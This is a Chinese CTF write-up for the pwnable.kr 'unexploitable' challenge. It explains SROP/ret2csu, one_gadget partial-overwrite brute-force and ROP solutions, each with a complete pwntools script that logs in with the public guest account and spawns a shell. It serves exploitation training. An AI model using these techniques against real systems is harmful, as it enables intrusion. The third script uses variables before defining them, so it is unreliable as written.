1 2 3 4 5 6 7
| 一级标题:<center><font color="red"> 2017 </font></center> 二级标题:<center><font color="green"> quals </font></center> 三级标题:<center><font color="orange"> cfi </font></center>
SROP、vsyscall
|
pwnable.kr unexploitable
参考博文:pwn题练习之unexploitable | blingbling’s blog (blingblingxuanxuan.github.io)
SROP+ret2csu解法
参考链接:SROP - CTF Wiki (ctf-wiki.org)
参考博文:pwnable.kr unexploitable题解_落日领航员的博客-CSDN博客
参考博文:Srop 原理与利用方法 - z2yh - 博客园 (cnblogs.com)
解题思路
1、利用 __libc_csu_init(ret2csu) 实现多次执行 main()、read()
2、向bss段读入伪造的sigFrame
3、向bss段读入 “/bin/sh” 字符串
4、栈迁移,使 rsp、rbp 指向 sigFram 附近 (目标是要使rbp上的ret为sigFram的rt_sigreturn表项)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
|
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
sh = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222) io = sh.run('./unexploitable')
read = 0x601000 main = 0x400544 bss_frame = 0x601028 bss_bin_sh = 0x601018
pop_rbp = 0x400540 leave_addr = 0x400576
csu_1 = 0x4005e6 csu_2 = 0x4005d0 syscall = 0x400560
frame = SigreturnFrame(kernel='amd64') frame.rdi = bss_bin_sh frame.rsi = 0 frame.rdx = 0 frame.rax = 59 frame.rip = syscall
def csu_read(zero,addr,num,retn,addr1,addr2): payload = 24*'a' payload += p64(csu_1) payload += p64(0) payload += p64(0) payload += p64(1) payload += p64(read) payload += p64(zero) payload += p64(addr) payload += p64(num) payload += p64(csu_2) payload += 56*'a' payload += p64(retn) payload += p64(addr1) payload += p64(addr2) io.send(payload) sleep(3) csu_read(0,bss_frame,0x500,main,0,0) payload = p64(0) + p64(syscall) + str(frame) io.send(payload) sleep(3)
csu_read(0,bss_bin_sh,15,pop_rbp,bss_frame,leave_addr) io.send("/bin/sh".ljust(15,'\x00'))
sleep(3)
io.interactive()
|
暴力破解
参考链接:vsyscall bypass pie - PwnKi - 博客园 (cnblogs.com)
参考链接:pwn题练习之unexploitable | blingbling’s blog (blingblingxuanxuan.github.io)
解题思路
1、爆破的话一定要知道libc中execve(“/bin/sh”,,)的地址,这就需要本题所依赖的libc库
1 2 3 4 5
| $ ldd unexploitable
$ scp -P 2222 unexploitable@pwnable.kr:/lib/x86_64-linux-gnu/libc-2.23.so ./
|
2、查找execve(“/bin/sh”,,)地址,这里我们选择第四个0xf1247,因为只需要覆盖低三字节即可,所以我们只需要把后面的247覆盖好就行,其他的随机爆破即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| $ one_gadget libc-2.23.so 0x45226 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
|
3、找到栈上指向 libc 的地址
4、利用 vsyscall 作为 ret 跳板将 ret 指向 1 找到的地址
5、爆破低3字节
由于ret时rsp指向的栈顶位置就是libc_start_main地址,因此无需使用vsyscall,直接覆盖返回地址的低3个字节为我们gadget的地址就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * context(arch="amd64",os="linux",log_level="debug")
s = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222)
while True: try: myio = s.run('./unexploitable') payload = b"a"*24 + b"\x47\xc2\xc9" sleep(3) myio.send(payload) sleep(0.03) myio.sendline("ls") sleep(0.03) myio.recv() myio.sendline("cat flag") sleep(0.03) myio.recv() myio.interactive() break except EOFError: myio.close()
|
注:该题设置了sleep(3),不利于爆破
ROP
解题思路
1、利用 __libc_csu_init(ret2csu) 实现多次执行 main()、read()
2、将”/bin/sh”写入0x601028地址处,将p64(0x400560)即syscall指令地址写入0x601030(bss段)
3、利用 __libc_csu_init 重调read()读入59个字符(这样可以将rax的值赋为59),接着立即重调 csu 构造 execve(“/bin/sh”,0,0); 并跳转至 syscall 执行系统调用号为59的 execve() 调用。
4、解释:main函数中有一次read(),csu中又有一次read()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 第一步 利用main函数中的read()实现调用csu,
第二步 利用csu构造read()函数向bss段读入"/bin/sh"及syscall并重新跳转至main函数。
第三步 利用重新跳转至的main函数重新调用csu,
第四步 利用重新调用的csu重新构造read()并调用,读入59个字节数据使rax被赋值为59, read()读入多少个字符,read()结束后rax值就为多少,细节原理可能得去读read源代码才知道,甚至读源代码编译过后的汇编代码才知道,这里就只说个结论吧,遇见一个记一个,
第五步 则立即跳转至csu利用已被赋值为59的rax以及syscall构造出execve("/bin/sh",0,0)获取shell
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
|
from pwn import *
context(arch="amd64",os="linux",log_level="debug")
sh = ssh(host='pwnable.kr',user='unexploitable',password='guest',port=2222) io = sh.run('./unexploitable')
read = 0x601000 main = 0x400544 bss_frame = 0x601028 bss_bin_sh = 0x601018
pop_rbp = 0x400540 leave_addr = 0x400576
csu_1 = 0x4005e6 csu_2 = 0x4005d0 syscall = 0x400560
frame = SigreturnFrame(kernel='amd64') frame.rdi = bss_bin_sh frame.rsi = 0 frame.rdx = 0 frame.rax = 59 frame.rip = syscall
def csu_read(zero,addr,num,retn): payload = 24*'a' payload += p64(csu_1) payload += p64(0) payload += p64(0) payload += p64(1) payload += p64(read) payload += p64(zero) payload += p64(addr) payload += p64(num) payload += p64(csu_2) payload += 56*'a' payload += p64(retn) return payload def csu_execve(zero,addr,num,retn): payload = 24*'a' payload += p64(csu_1) payload += p64(0) payload += p64(0) payload += p64(1) payload += p64(read) payload += p64(zero) payload += p64(addr) payload += p64(num) payload += p64(csu_2) payload += p64(0) payload += p64(0) payload += p64(1) payload += p64(syscall_bss) payload += p64(bin_sh_bss) payload += p64(0) payload += p64(0) payload += p64(retn) return payload payload = csu_read(0,bss_frame,0x500,main) io.send(payload) sleep(3) io.sendline(b"/bin/sh\x00"+p64(0x400560)) sleep(3)
bin_sh_bss = 0x601028 syscall_bss = 0x601030
payload = csu_execve(0,0x601100,59,csu_2) io.send(payload) sleep(3) io.sendline(b"e"*58)
io.interactive()
|
2017